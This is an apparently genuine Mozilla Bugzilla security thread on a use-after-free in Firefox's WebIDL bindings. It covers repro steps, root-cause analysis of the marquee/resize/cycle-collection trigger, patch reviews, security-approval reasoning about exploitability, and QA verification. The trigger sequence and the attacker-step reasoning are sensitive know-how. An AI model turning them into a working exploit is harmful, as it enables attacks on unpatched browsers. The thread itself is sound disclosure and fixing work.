 2. "./mach run" and install domFuzzLite3.xpi built from https://github.com/MozillaSecurity/domfuzz/tree/master/dom/extension and restart your build to complete the extension installation.
 3. "./mach run" and load nils's testcase (I'm using a locally-saved copy)

Occasionally it doens't trigger during the first attempt, but it generally reproduces if I close the popups & reload my main browser window at that point.
Attachment #8876011 - Attachment is obsolete: true
Here's an ASAN report + backtrace from a trunk build based off of this cset from yesterday: https://hg.mozilla.org/mozilla-central/rev/f4262773c433
Attachment #8876242 - Attachment description: testcase 2 (reduced) → testcase 2 (reduced / made more human-readable)

Comment 12

2 years ago
see_comment_19
OK, here's roughly what's going on here (looking at testcase 2):
 1. In fun0, we create a marquee, and we also resize the window that it's in. (Both of these involve a bit of deferred action.)

 2. During the next refresh driver tick (I think), we flush some deferred marquee action and trigger a call to nsXBLBinding::ExecuteAttachedHandler for the marquee's XBL.

 3. This involves a call to getComputedStyle in the marquee "init()" method:
https://dxr.mozilla.org/mozilla-central/rev/e61060be36424240058f8bef4c5597f401bc8b7e/layout/style/xbl-marquee/xbl-marquee.xml#538-539

 4. Under the hood, that getComputedStyle invocation causes us to create a nsComputedDOMStyle and call UpdateCurrentStyleSources on it.

 5. nsComputedDOMStyle::UpdateCurrentStyleSources starts out by flushing layout, which flushes the resize operation, which triggers the resize handler ("fun1").
   Inside of fun1:
    (a) the testcase calls close() on the window that we're operating inside of, which deletes some stuff.
    (b) the testcase forces a cycle collection, which deletes our nsComputedDOMStyle. (!!! We are hosed at this point.)

 6. After the fun1 & the layout flush completes, we unwind the stack back up to nsComputedDOMStyle::UpdateCurrentStyleSources.

 7. ...and now the next member-var that we touch as we proceed through nsComputedDOMStyle::UpdateCurrentStyleSources will be a UAF, because our "this" object has been deleted.
Hmm.  So this is the second bug recently in which we ran into the problem that a delayed resize causes script to run during flush.  That said, flush is known to run arbitrary script.  So that part shouldn't be a problem per se.

In the sequence of events above, the really problematic bit from my point of view is that we collect the nsComputedDOMStyle.  That should really not happen.  Why is it happening?

Specifically, we should have a strong ref to the nsComputedDOMStyle from the object which is the "this" value of the binding call.  Bindings depend on this all over the place.

A horrible thought: Is it possible that the problem is that in this case the "this" value in the JS CallArgs in CSS2PropertiesBinding::get_width is an Xray (from the XBL scope to the content scope) and it gets hueyfixed by all the collection that's happening and hence drops its ref to the underlying DOM JS reflector, which then gets collected and calls Release on the C++ thing?

This seems scarily plausible, and if that's what's going on it means that any call via Xrays that can trigger untrusted code execution on the other side (which is lots of them!) is vulnerable to variants of this problem....
ccing some xpconnect/bindings people.
Component: CSS Parsing and Computation → DOM
Yeah, that sounds right to me.
Could UnwrapObject take a mutable handle for obj? Then the rooted value would be the actual reflector for |self|. Though presumably that would mess up the actual |getter| call...
OK, dholbert poked at this directly in rr, and in fact in CSS2PropertiesBinding::get_width "obj" is a dead object proxy in this case.  So comment 16 explains exactly what's going on here.

We need to fix this in the bindings.  I'll think a bit about how best to do that, but I suspect the right answer is to stick the underlying object in a Rooted if we have a wrapper.  We'd need to do this for "this", for arguments, and wherever else we don't do the "is a member" strong-ref bits in binding code.
Flags: needinfo?(bzbarsky)
> Could UnwrapObject take a mutable handle for obj?

It could take one in addition to the arg, for example.  But that's the general idea, yes.

I do expect an extra Rooted on the stack is cheaper than addref/release on DOM objects, so it's worth sticking with the current setup where we rely on the JS object for ownership.  And of course for owned objects this is really the only way to make it work.
Flags: needinfo?(bzbarsky)
Flags: needinfo?(bzbarsky)
(In reply to Daniel Holbert [:dholbert] from comment #12)
>  3. This involves a call to getComputedStyle in the marquee "init()" method: [...]
> 
>  4. Under the hood, that getComputedStyle invocation causes us to create a
> nsComputedDOMStyle and call UpdateCurrentStyleSources on it.

Off-topic slightly at this point, but let me correct myself ^^ slightly here:
The marquee JS code actually calls "getComputedStyle().width", and both parts (getComputedStyle and .width) are important for the bug here.
 - The getComputedStyle() creates the nsComputedDOMStyle
 - And then the .width is what triggers the problematic call into "UpdateCurrentStyleSources".

This is why, at the point where we crash, mozilla::dom::CSS2PropertiesBinding::get_width is in the backtrace, as bz mentions.
I looked over all of the calls to CheckedUnwrap for places where the output isn't rooted and then we pull something out of the output. I filed bug 1371865, bug 1371863, and bug 1371853 for some possible variations on this issue.
I didn't look at any of the calls in js/src, because I assume they are less likely to pull C++ stuff out and call methods on them. I did skim over the many call sites in generated DOM bindings code, but it all looked okay.
Comment hidden (obsolete)
For reference/convenience, here's the domFuzzLite3.xpi extension that I'm using for testing here (which I built locally from the domfuzz github repo as noted previously).
Attachment #8876333 - Attachment description: dholbert's build of domFuzzLite3.xpi (extension required by testcases) → dholbert's build of domFuzzLite3.xpi (extension required for testcases to reproduce the crash)
Comment hidden (obsolete)
status-firefox53: affected → wontfix
status-firefox56: --- → affected
tracking-firefox54: --- → +
tracking-firefox55: --- → +
tracking-firefox56: --- → +

Comment 25

2 years ago
last-one-should-be-true
(In reply to Daniel Holbert [:dholbert] from comment #22)
> For the record, I did some minimal digging to see if I could figure out why
> stock trunk builds are unaffected -- i.e. why bug only reproduces if you
> have a "clean" version number (e.g. "55.0") in milestone.txt

Poked around a bit more, and it's simpler than I thought. The key difference between crashy "milestone.txt-tweaked" trunk builds vs non-crashy trunk builds is: e10s.

In release builds (or builds with milestone.txt adjusted to make them look like a release), I think the domFuzz extension makes us disable e10s by default.  Whereas, in a stock nightly build, we keep e10s enabled regardless of the extension's presence. And unsusprisingly, window-resize events get queued up & dispatched a bit differently depending on e10s.

SO: bottom line, to trigger the issue with this particular testcase, e10s *must be disabled*.

I verified that I can reproduce the ASAN error report in a stock nightly build (no tweaks needed to milestone.txt), with the domfuzz extension installed & with these prefs set:
  browser.tabs.remote.autostart.2      false    # Disable e10s
  dom.disable_open_during_load         false    # Allow popups (to make testcase more automated)
  xpinstall.signatures.required        false    # Allow domfuzz extension (which is unsigned)
  extensions.allow-non-mpc-extensions  false    # Allow domfuzz extension (which is not a webextension)
Here's an updated patch to make this bug reproduce easily on trunk, just by setting some about:config pref defaults as noted in prev. comment -- no longer any milestone.txt tweak needed here to trigger this.

I confirmed that I could reproduce this bug with "testcase 2" on the second attempt [it's not 100% reliable], with this patch applied, in an ASAN debug build. [Though likely any build will do & may just crash slightly differently.]
Attachment #8876221 - Attachment is obsolete: true
Attachment #8876851 - Attachment description: (not a fix) Patch to make bug reproduce on trunk, by setting some prefs → (not a fix) Patch to make bug reproduce on trunk, by setting some prefs [you also need domFuzzLite3.xpi]
Posted patch Work in progress (obsolete) — Splinter Review
This makes unwrapping much safer.  It fixes or audits all the UNWRAP_OBJECT consumers and some UnwrapObject<> ones.  What's left is the codegen bits, especially the non-owning union conversions.  I'm really not sure how to handle those yet...

I do expect we'll want to land these changes together with the fixes for the various bugs mccr8 filed as a result of his followup audit (see comment 20).
Assignee: nobody → bzbarsky
Status: NEW → ASSIGNED
Attachment #8876987 - Attachment is obsolete: true
(In reply to Daniel Holbert [:dholbert] from comment #25)
> I verified that I can reproduce the ASAN error report in a stock nightly
> build (no tweaks needed to milestone.txt), with the domfuzz extension
> installed & with these prefs set:
>   browser.tabs.remote.autostart.2      false    # Disable e10s
>   dom.disable_open_during_load         false    # Allow popups (to make testcase more automated)
>   xpinstall.signatures.required        false    # Allow domfuzz extension (which is unsigned)
>   extensions.allow-non-mpc-extensions  false    # Allow domfuzz extension (which is not a webextension)

Sorry, I mistyped here -- that final pref ("extensions.allow-non-mpc-extensions") needs to be manually set to *true* (not false) in order for the domfuzz extension to be activated.

My "patch to make bug reproduce" (attachment 8876851 [details] [diff] [review]) sets it correctly -- I just mistyped in comment 25.
I have been trying to reproduce the crash and failing so far, but I believe this should fix it.  If someone who can reproduce could test, that would be awesome.

I'm still working on the related issues mccr8 filed, because I think we should land them all at once.
Attachment #8876988 - Attachment is obsolete: true
Comment on attachment 8877298 [details] [diff] [review]
Compiling patch that should fix this bug

My initial testing seems to confirm that bz's patch fixes the bug.

I've got a debug not-ASAN build which crashed from this bug ~40% of the time (2/5 attempts today), and when I applied bz's patch, I couldn't reproduce the bug on 8 attempts.  I also broke in with gdb and confirmed that we were traversing the codepath that was previously crashy (marquee construtor calling get_width, which flushes layout, which fires the resize event, which triggers cycle collection -- all in one synchronous nested callstack), and nonetheless we don't crash.

So I think I can confirm that this patch does indeed fix this bug on trunk.  I'm rebuilding with ASAN now, for extra verification that there's no latent ASAN-only funny business.
Attachment #8877298 - Flags: feedback+
(My ASAN build results seem to confirm that bz's patch fixes this, too.  Without his patch, I crashed on my 3rd or 4th attempt. With his patch, I was able to let the testcase run ~15 times without crashing.)
status-firefox54: affected → wontfix
tracking-firefox54: + → ---
tracking-firefox-esr52: --- → 55+
OK, I posted patches in bug 1371865 and bug 1371853, but I feel pretty strongly that we should fix these all at once, so maybe I should dup them here and just land those patches with this bug#...

I _definitely_ want to do that with bug 1371863 because the patches for that are pretty tied in to the bindings patches we need for this bug.
Blocks: 1371863
(In reply to Boris Zbarsky [:bz] (if a patch has no decent message, automatic r-) from comment #33)
> OK, I posted patches in bug 1371865 and bug 1371853, but I feel pretty
> strongly that we should fix these all at once, so maybe I should dup them
> here and just land those patches with this bug#...

Yeah, we should definitely fix them all at once. Duping them over makes sense: this patch is already pretty big, so making it a little larger won't hurt.
Fwiw, this patch is actually multiple changesets in my tree; I'll be posting it in that form for review and then rollups for branch backports...  So yeah, I'll move over the other bits here.
Duplicate of this bug: 1371630
See Also: → bug 1373042
Blocks: 1371865
Blocks: 1371853
The idea is that CastableObjectUnwrapper will want to have a MutableHandle for
the thing it's unwrapping whenever its target is a raw pointer.  Since we have
convenient MutableHandle<Value> in most cases, it's easier to switch
CastableObjectUnwrapper to working with MutableHandle<Value> or Handle<Value>
instead of trying to get MutableHandle<JSObject*> in the right places.

There are basically two changes here:

1) Make CastableObjectUnwrapper work with at thing that looks like a Value.
2) Change various callsites to pass in MutableHandle<Value>, in addition to a
   Handle<Value>, into the JS-to-C++ conversion templates.  The
   MutableHandle<Value> is passed as ${maybeMutableVal}.  It may not actually
   end up being a MutableHandle in some cases.

The reason for passing both a Handle and a MutableHandle is that when the thing
we actually have is a Rooted named "foo" the Handle will be "foo" but the
MutableHandle is most naturally written as "&foo".  This is not a problem if
you're just passing it through, but if you want to test whether it's an object,
say, you have a problem.  Writing "foo.isObject()" is ok, but "&foo.isObject()"
is not, and neither is "(&foo).isObject()".  This could be worked around by
passing the MutableHandle as "JS::MutableHandle<JS::Value>(&foo)" or something,
and then "JS::MutableHandle<JS::Value>(&foo).isObject()" does work.  But it
makes the code very hard to read.

So we just pass both things along; ${val} should be used for readonly access and
${maybeMutableVal} any time you really want a MutableHandle.
Attachment #8877893 - Flags: review?(peterv)
I did audit all UNWRAP_OBJECT callers to make sure that the lifetimes of all the
temporary Rooted or the RefPtrs they unwrap into are long enough.
Attachment #8877895 - Flags: review?(peterv)
Most of these changes are just replacements of GetNativeOfWrapper with
UnwrapReflectorToISupports, which is all it did under the hood.

The other changes are as follows:

* In nsDOMClassInfo, we really care whether we have a window, so we can just
  UNWRAP_OBJECT to the Window interface, since Window is always on Web IDL
  bindings now.  Also, the weird compartment check hasn't been needed ever since
  GetNativeOfWrapper stopped returning things off the passed-in object's
  prototype chain (Firefox 22, bug 658909).
* The only use of do_QueryWrapper was to get a Window in nsDocument; again we
  can UNWRAP_OBJECT.
* In XPCJSRuntime, we again just want to check for a Window, so UNWRAP_OBJECT.
Attachment #8877900 - Flags: review?(peterv)
The main reason to not do this would be performance (avoiding the
addref/release), but there are two main mitigating factors:

1)  All calls to UnwrapReflectorToISupports that pass in a Web IDL object
    already do the addref (and in fact QI).  So this only affects the
    XPCWrappedNative case.

2)  The vast majority of the callers proceed to QI on the pointer anyway, and a
    second addref is cheap; it's the first addref after a CC that can be
    expensive on a cycle-collected object.

Going through the changes one by one:

* In GlobalObject::GetAsSupports, we do have a change that slightly slows down
  precisely in the XPCWrappedNative global case.  That's the message managers
  and the backstagepass.  And this really only affects calls to Web IDL statics
  from those globals.

* In UnwrapArgImpl we're talking about a Web IDL method taking an "external
  interface" type, and the UnwrapReflectorToISupports call is immediately
  followed by QI anyway.

* In UnwrapXPConnectImpl we're talking about the case when we have a
  non-WebIDL-object implementation of a Web IDL interface.  Again, this is the
  message manager globals, for EventTarget.  And we have a QI call immediately
  after the UnwrapReflectorToISupports.

* In the generated HasInstance hook for EventTarget we will be slightly slower
  when the LHS of the instanceof is an XPCWrappedNative.  And not much slower,
  because again there's an immediate QI.

* In InstallXBLField we're never going to have an XPCWrappedNative as thisObj;
  it's always an Element in practice.  So this is no more expensive than before.

* In sandbox's GetPrincipalOrSOP we now have an extra addref.  But it was
  followed by various QIs anyway.

* In XPCConvert::JSValToXPCException we have an extra addref if someone throws
  an XPCWrappedNative, which is fairly unlikely; our actual Exception objects
  are on Web IDL bindings.  Plus we have an immediate QI.

* In xpc::HasInstance we have an extra addred if the LHS of instanceof is an
  XPCWrappedNative.  But, again, there's an immediated QI after the
  UnwrapReflectorToISupports.

* In xpcJSWeakReference::Init we are likely doing an extra addref, but again
  immediately followed by QI.

I think it's worth making this change just to remove the footgun and that the
perf impact, if any, is pretty minimal.
Attachment #8877901 - Flags: review?(peterv)
Flags: needinfo?(bzbarsky)
Posted patch Rollup patch for beta (obsolete) — Splinter Review
Posted patch Rollup patch for ESR52 (obsolete) — Splinter Review
Comment on attachment 8877895 [details] [diff] [review]
part 3.  Change UnwrapObject<> and the UNWRAP_OBJECT macro to allow passing in mutable object or value handles for the thing being unwrapped, and do so at various callsites

Requesting sec-approval here, because this is the heart of the fix, but it should really apply to all of the patches.

[Security approval request comment]
How easily could an exploit be constructed based on the patch? Hard to say.  It's pretty clear from the patch that the problem is a rooting/ownership issue in bindings.  The new invariants described in the comments give an idea of what is wrong with the current code (violating those invariants by not providing a mutable handle _and_ not providing a strong ref).  So let's posit that based on the patch an attacker could figure out that they need to invoke a DOM API and then cause it to reenter script and cause things to be collected.  Also let's posit that an attacker knows enough about our code to figure out that wrappers are involved and hence that the DOM API call needs to be a cross-compartment one.  That leaves the problems of (1) figuring out that the call needs to be across Xrays, (2) figuring out that the hueyfix needs to be triggered, (3) finding a way to trigger an API call via Xrays that then reenters the untrusted script, (4) actually managing to trigger the hueyfix, (5) exploiting the resulting dead object.  I expect #5 is easy for someone who does this for a living, #4 is not too hard if you just do a bunch of allocation and event loop spinning.  #3 could take some work.  #1 and #2 also need some inspiration, but hard to say how much.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?  To some extent.  Per above, it's clear from the comments that the problem is with GC/rooting stuff, and I _think_ it's fairly clear that the issue is with wrappers.  I carefully avoided mentioning Xrays or hueyfix anywhere in the comments, so that part is not pointed out.  And of course I didn't mention the specific API involved here (i.e. the answer to #3 above).

That said, the commit messages and comments in these patches could probably use a once-over from someone other than me to see whether we could remove something from them without ending up with security-critical code that's not documented as critical and could get changed by people who don't realize it is.

Which older supported branches are affected by this flaw?  All of them.

If not all supported branches, which bug introduced the flaw?  I guess bug 695480 landed before webidl bindings, so let's call it webidl bindings.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?  Backports to beta 55, release 54, ESR 52 are attached.  Risk is... hard to say.  I ended up changing a bunch of code to resolve this whole class of issues in various guises.  We _could_ probably land just parts 1-3 or 1-4 on the older branches to mitigate risk, but I think the later parts are actually not very risky...

How likely is this patch to cause regressions; how much testing does it need?  It's hard to say.  I'm touching some pretty critical code here.  I have compiled it on Mac and Linux, but I haven't even done a try push for Windows and tests because I'm not sure about exposing these patches on try too early...  Ideally I would give this as much bake time as I could.  I _think_ this is fairly safe as fixes for this bug go, but that's not a very high bar.
Attachment #8877895 - Flags: sec-approval?
I'm not going to worry about branch approvals until the reviews and sec-approval are done, because that may affect the branch patches.
Group: layout-core-security → dom-core-security
Comment on attachment 8877895 [details] [diff] [review]
part 3.  Change UnwrapObject<> and the UNWRAP_OBJECT macro to allow passing in mutable object or value handles for the thing being unwrapped, and do so at various callsites

I'm going to say we should check this in the week of July 10, which is four weeks into our eight week (this time) product cycle, just to reduce the potential exposure window. I'm willing to have a discussion if this seems overly paranoid though.
Attachment #8877895 - Flags: sec-approval? → sec-approval+
Whiteboard: [checkin on 7/10]
That doesn't seem unreasonable.  I just wish I had a way to check whether this actually compiles on all platforms and passes tests before then...
I wish we had a truly private way to run tests and log results for viewing by the submitting dev.
That would be nice.  I filed bug 1373889.
Comment on attachment 8877893 [details] [diff] [review]
part 1.  Pass maybe-mutable Value handles, not JSObject*, into CastableObjectUnwrapper

Review of attachment 8877893 [details] [diff] [review]:
-----------------------------------------------------------------

::: dom/bindings/Codegen.py
@@ +4255,5 @@
>      """
> +    A class for unwrapping an object stored in a JS Value (or
> +    MutableHandle<Value> or Handle<Value>) named by the "source"
> +    argument based on the passed-in descriptor and storing it in a
> +    variable called by the name in the "target" argument.

Could you add some explanation for mutableSource here?
Attachment #8877893 - Flags: review?(peterv) → review+
Attachment #8877894 - Flags: review?(peterv) → review+
Comment on attachment 8877895 [details] [diff] [review]
part 3.  Change UnwrapObject<> and the UNWRAP_OBJECT macro to allow passing in mutable object or value handles for the thing being unwrapped, and do so at various callsites

Review of attachment 8877895 [details] [diff] [review]:
-----------------------------------------------------------------

::: dom/base/StructuredCloneHolder.cpp
@@ +450,5 @@
>                                                       JSStructuredCloneWriter* aWriter,
>                                                       JS::Handle<JSObject*> aObj)
>  {
> +  // We can just keep passing the same Rooted to all the callees, because all of
> +  // our callees want to CheckedUnwrap it as needed.

I don't completely understand these comments (here and below). Is what is happening that the first call to UNWRAP_OBJECT will put the result of CheckedUnwrap into obj? And then subsequent calls to UNWRAP_OBJECT will just use the unwrapped object?
I thought about doing the CheckedUnwrap call here instead. Having unwrap change the passed in JSObject is a bit spooky, but then again I really prefer to keep CheckedUnwrap calls in binding code if possible :-/.

::: dom/base/nsDOMWindowUtils.cpp
@@ +3135,5 @@
>      *_retval = -1;
>      return NS_OK;
>    }
>  
> +  JS::Rooted<JSObject*> obj(aCx, aFile.toObjectOrNull());

Maybe add a comment here too? And wherever we pass it in multiple times?

::: dom/bindings/BindingUtils.h
@@ +254,5 @@
> +    return NS_ERROR_XPC_SECURITY_MANAGER_VETO;
> +  }
> +  MOZ_ASSERT(!js::IsWrapper(unwrappedObj));
> +  domClass = GetDOMClass(unwrappedObj);
> +  if (!domClass) {

Hmm, the duplication of this code is unfortunate. I don't suppose we could call UnwrapObjectInternal on unwrappedObj here?

@@ +278,5 @@
>    return NS_ERROR_XPC_BAD_CONVERT_JS;
>  }
>  
> +struct MutableObjectHandleWrapper {
> +  MutableObjectHandleWrapper(JS::MutableHandle<JSObject*> aHandle)

Make this explicit?

@@ +299,5 @@
> +  JS::MutableHandle<JSObject*> mHandle;
> +};
> +
> +struct MutableValueHandleWrapper {
> +  MutableValueHandleWrapper(JS::MutableHandle<JS::Value> aHandle)

explicit?

::: js/xpconnect/src/XPCComponents.cpp
@@ +1717,2 @@
>          Exception* e;
> +        *bp = NS_SUCCEEDED(UNWRAP_OBJECT(Exception, &obj, e)) ||

IS_INSTANCE_OF?
Attachment #8877895 - Flags: review?(peterv) → review+
> Is what is happening that the first call to UNWRAP_OBJECT will put the result of CheckedUnwrap into obj?

Oh, good catch.  That _was_ what was happening when I wrote that comment, before I realized that it would cause problems with IDL overloads (e.g. the case when we had an interface overloaded with a DOMString: the interface unwrap attempt would CheckedUnwrap and then the string conversion would no longer get Xrays) and changed UNWRAP_OBJECT to only modify the mutable handle when the unwrap succeeds.  I'll just take this comment out entirely, because at this point it's just confusing.

> Having unwrap change the passed in JSObject is a bit spooky

I agree, but I don't really have any concrete better ideas.... if you do, I'm totally open to changing how this stuff works!

> Hmm, the duplication of this code is unfortunate

I agree.  I couldn't figure out a way to keep from duplicating it while preserving that "don't write to the inout param unless unwrap succeeds" property, but that's because I wasn't thinking sufficiently well, clearly!

> I don't suppose we could call UnwrapObjectInternal on unwrappedObj here?

Hmm... with mayBeWrapper forced to false, now that we have such a thing?  That's a good point.  I think we can in fact do that.  I think I didn't have the mayBeWrapper bit yet when I initially refactored this method to avoid the inout param writes; I added it later when I realized I neded UNWRAP_NON_WRAPPER_OBJECT.

> Make this explicit?

Good catch, both places.

> IS_INSTANCE_OF?

Also good catch; I think I changed that bit before I decided to introduce IS_INSTANCE_OF...  I can actually undo most of the changes to this method if I use IS_INSTANCE_OF here.
Attachment #8877897 - Flags: review?(peterv) → review+
Attachment #8877896 - Flags: review?(peterv) → review+
Attachment #8877900 - Flags: review?(peterv) → review+
Comment on attachment 8877901 [details] [diff] [review]
part 9.  Make UnwrapReflectorToISupports return already_AddRefed<nsISupports>

Review of attachment 8877901 [details] [diff] [review]:
-----------------------------------------------------------------

I'm working on the message managers again, so hopefully some of this will be simpler soon.

::: js/xpconnect/src/nsXPConnect.cpp
@@ -783,5 @@
>      }
>  
>      // Try DOM objects.
>      nsCOMPtr<nsISupports> canonical =
>          do_QueryInterface(mozilla::dom::UnwrapDOMObjectToISupports(reflector));

This is safe because we never end up calling into JS for a QI to nsISupports. Right?
Attachment #8877901 - Flags: review?(peterv) → review+
> This is safe because we never end up calling into JS for a QI to nsISupports. Right?

Right, plus if the pointer is non-null we know we have an actual webidl object, not XPCWrappedJS.  Those should never call into JS for QI at all, except for XBL-implemented interfaces on elements.

I'll add a comment.
Attachment #8877893 - Attachment is obsolete: true
Attachment #8877895 - Attachment is obsolete: true
Attachment #8877901 - Attachment is obsolete: true
Posted patch Updated esr52 rollup fix (obsolete) — Splinter Review
Attachment #8877906 - Attachment is obsolete: true
Attachment #8877905 - Attachment is obsolete: true
Attachment #8877904 - Attachment is obsolete: true
Attachment #8877298 - Attachment is obsolete: true
Comment on attachment 8880535 [details] [diff] [review]
Addresses review comments on part 3; could use another look

Review of attachment 8880535 [details] [diff] [review]:
-----------------------------------------------------------------

::: dom/bindings/BindingUtils.h
@@ +255,5 @@
>    }
>    MOZ_ASSERT(!js::IsWrapper(unwrappedObj));
> +  // Recursive call is OK, because now we're using false for mayBeWrapper and
> +  // we never reach this code if that boolean is false, so can't keep calling
> +  // ourselves.

Could we static_assert that?

@@ -268,5 @@
> -    // It's very important to not update "obj" with the "unwrappedObj" value
> -    // until we know the unwrap has succeeded.  Otherwise, in a situation in
> -    // which we have an overload of object and primitive we could end up
> -    // converting to the primitive from the unwrappedObj, whereas we want to do
> -    // it from the original object.

This comment still has value, no?
Attachment #8880535 - Flags: review?(peterv) → review+
Flags: sec-bounty?
Blocks: 1371630
> Could we static_assert that?

I don't quite see how: static_assert doesn't consider reachability.  That is, a static_assert in unreachable code still gets compiled and hence asserted at compile-time.

> This comment still has value, no?

Indeed.  I will restore it.
Posted patch Updated esr52 rollup fix (obsolete) — Splinter Review
Attachment #8880598 - Attachment is obsolete: true
Attachment #8880618 - Attachment is obsolete: true
Attachment #8880599 - Attachment is obsolete: true
Comment on attachment 8884915 [details] [diff] [review]
Updated esr52 rollup fix

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined: Possible UAF leading to bad things.
Fix Landed on Version: 56.
Risk to taking this patch (and alternatives if risky): Medium to high risk.  We
   do not yet have compat data for this, because it's just landing on tip.  We
   don't even have CI results yet.  I think the patches are correct, and they
   do fix the bug.  I believe they are principled enough and unobservable
   enough from web content that they should not cause compat issues.  But I
   don't have more than about 70% confidence in that.
String or UUID changes made by this patch: None.

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.
Attachment #8884915 - Flags: approval-mozilla-esr52?
Comment on attachment 8884916 [details] [diff] [review]
Updated beta channel rollup fix

Approval Request Comment
[Feature/Bug causing the regression]: WebIDL bindings.
[User impact if declined]: Possible UAF leading to bad things.
[Is this code covered by automated tests?]: Generally, yes: this is changing all
   of our binding code.
[Has the fix been verified in Nightly?]: Not yet.
[Needs manual test from QE? If yes, steps to reproduce]: See comment 0.
[List of other uplifts needed for the feature/fix]: None.
[Is the change risky?]: Medium to high.
[Why is the change risky/not risky?]: See comment 74.
[String changes made/needed]: None.
Attachment #8884916 - Flags: approval-mozilla-beta?
Comment on attachment 8884917 [details] [diff] [review]
Updated release channel rollup fix

I'm not sure whether we want this on release, but in case we do, here's the patch and approval request.  See comment 75 for the approval request boilerplate.
Attachment #8884917 - Flags: approval-mozilla-release?
Posted patch Part 3 updated to tip (obsolete) — Splinter Review
Attachment #8880596 - Attachment is obsolete: true
Attachment #8884918 - Attachment is obsolete: true
Whiteboard: [checkin on 7/10]
Attachment #8884915 - Attachment is obsolete: true
Attachment #8884915 - Flags: approval-mozilla-esr52?
Attachment #8884917 - Attachment is obsolete: true
Attachment #8884917 - Flags: approval-mozilla-release?
Attachment #8884916 - Attachment is obsolete: true
Attachment #8884916 - Flags: approval-mozilla-beta?
Attachment #8885065 - Flags: approval-mozilla-esr52?
Attachment #8885066 - Flags: approval-mozilla-release?
Attachment #8885067 - Flags: approval-mozilla-beta?
Blocks: 1378110
Attachment #8885007 - Flags: review?(peterv) → review+
Comment on attachment 8885067 [details] [diff] [review]
beta patch updated to fix rooting hazard

sec-critical, seems to stick on trunk; beta55+
Attachment #8885067 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Group: dom-core-security → core-security-release
Comment on attachment 8885066 [details] [diff] [review]
release patch updated to fix rooting hazard

Since status-firefox54 was marked as won't fix, Release54-.
Attachment #8885066 - Flags: approval-mozilla-release? → approval-mozilla-release-
Comment on attachment 8885065 [details] [diff] [review]
ESR52 patch updated to fix rooting hazard

Sec-critical, sounds bad, let's land this on esr since it's going to release with 55.
Attachment #8885065 - Flags: approval-mozilla-esr52? → approval-mozilla-esr52+
No longer blocks: 1378110
Duplicate of this bug: 1378110
Right, for bounty purposes: this bug report was awesome.  It pointed out a longstanding architectural problem and it was quite easy to go from the provided information to the problem determination.  If we have to have security bug reports, this is the kind I want.  ;)
Flags: qe-verify+
Flags: sec-bounty? → sec-bounty+
Alias: CVE-2017-7801
Whiteboard: [adv-main55+][adv-esr52.3+]
I've reproduced the crash on an affected build (asan 52.2esr, 20170608175922) using the test case from Comment 0 on Ubuntu 16.04 x64.

The crash is no longer ocurring on Ubuntu 16.04 x64 using:

      - asan 52.2esr (20170726030943)


Unfortunately I couldn't make the domFuzzLite3 add-on work with 55 and 56: tried setting xpinstall.signatures.required;false and extensions.allow-non-mpc-extensions;true and it still got disabled. Also tried loading it temporarily through about:debugging, with no success.


I tried reproducing the crash with the following regular asan builds instead and I was unable to:

      - asan 55.0b13 (20170726032849)
      - asan 56.0a1 (20170726020448)

Nils, do you have any tips on how I could make the add-on work with newer Fx versions? Thanks!
status-firefox-esr52: fixed → verified
Flags: needinfo?(nils)
(In reply to Andrei Vaida [:avaida], Desktop Release QA – please ni? me from comment #94)
> Nils, do you have any tips on how I could make the add-on work with newer Fx
> versions? Thanks!

Andrei, you can use ffpuppet[1]. It is a python module that the fuzzing team uses to automate launching the browser. You will need the unpacked extension which can be found here[2]. 

Then to launch the browser you would the command: python ffpuppet.py path/to/browser/firefox -e <extension_path> -p <your_prefs_file> -d

You can use the prefs file available here[3] or your own custom prefs.js

Hopefully that helps.

[1] https://github.com/MozillaSecurity/ffpuppet
[2] https://github.com/MozillaSecurity/domfuzz/tree/master/dom
[3] https://github.com/MozillaSecurity/ffpuppet/blob/master/prefs/fuzzing-no-e10s.prefs.js
Thank you, Tyson - it works. 

I've managed to verify the fix on Ubuntu 16.04 x64 using the following versions as well:

        - asan 55.0b13 (20170726032849)
        - asan 56.0a1 (20170726020448)
Status: RESOLVED → VERIFIED
status-firefox55: fixed → verified
status-firefox56: fixed → verified
Flags: qe-verify+
Flags: needinfo?(nils)
Blocks: 1371269
Duplicate of this bug: 1371269
So looking at this and the related bugs for some stats I'm collecting...why weren't some of the rooting problems here caught by our hazard analysis?  Is it because proxies were involved, and we're just looking at the possibility of garbage collection happening in the hazard analysis, and not considering things like dead proxies getting swapped in underneath us?
Flags: needinfo?(continuation)
Flags: needinfo?(bzbarsky)
The fundamental code pattern in this bug was, in pseudo-C++-code:

  void doStuff(HandleObject obj) {
    nsISupports* foo;
    if (IsProxy(obj)) {
      foo = Unwrap(obj)->GetFoo();
    } else {
      foo = obj->GetFoo();
    }

    // Use foo and assume it stays alive even across GC.
  }

From the point of view of rooting analysis, there is no problem here.  "obj" is rooted.  Unwrap(obj) is not rooted, but its liveness lifetime does not cross a possible GC.  The nsISupports* _does_ have a liveness lifetime that crosses possible GC, but it's not a GCThing, so the rooting analysis doesn't care about it.

The fact that in the IsProxy() case the valid lifetime of "foo" matches the valid lifetime of Unwrap(obj) is not something the rooting analysis has a way to derive...

Now if we ignore the dead proxy bit, then everything is still ok: "obj" is rooted, it keeps Unwrap(obj) rooted, and that keeps "foo" alive.  But the dead proxy thing means that "it keeps Unwrap(obj) rooted" can become false, and then you lose.  But that was a problem that was missed by manual analysis, not the automated static analysis, because the automatic analysis didn't have a concept of "it keeps Unwrap(obj) rooted" in the first place; as far as it's concerned, Unwrap(obj) is _not_ rooted, but also not used across GC...
Flags: needinfo?(continuation)
Flags: needinfo?(bzbarsky)
Let me try repeating the problematic path that I understood: Unwrap(obj) returns an unrooted GC pointer that we call GetFoo() on, and its return value's (foo's) lifetime is contained within the unwrapped obj's lifetime, and foo is held live across a later GC.

So a hypothetical analysis would need to (1) somehow know that the lifetime of GetFoo's return value is contained within its 'this', and (2) do some amount of dataflow analysis to know that foo gets assigned an nsISupports* with a GC-controlled lifetime. Neither smells totally crazy, but I would worry about complexity and false positives.

unwrapped->GetFoo() is really something like XPCWrappedNative::Get(unwrapped), right?

If people are interested in this, please file a bug to at least get it on record. (Preferably clearing whatever misconceptions I have in the above.) I haven't thought too hard about the feasibility. And my current leaning would be to resuscitate mccr8's DOM iterator analysis before working on this, but opinions are welcome.
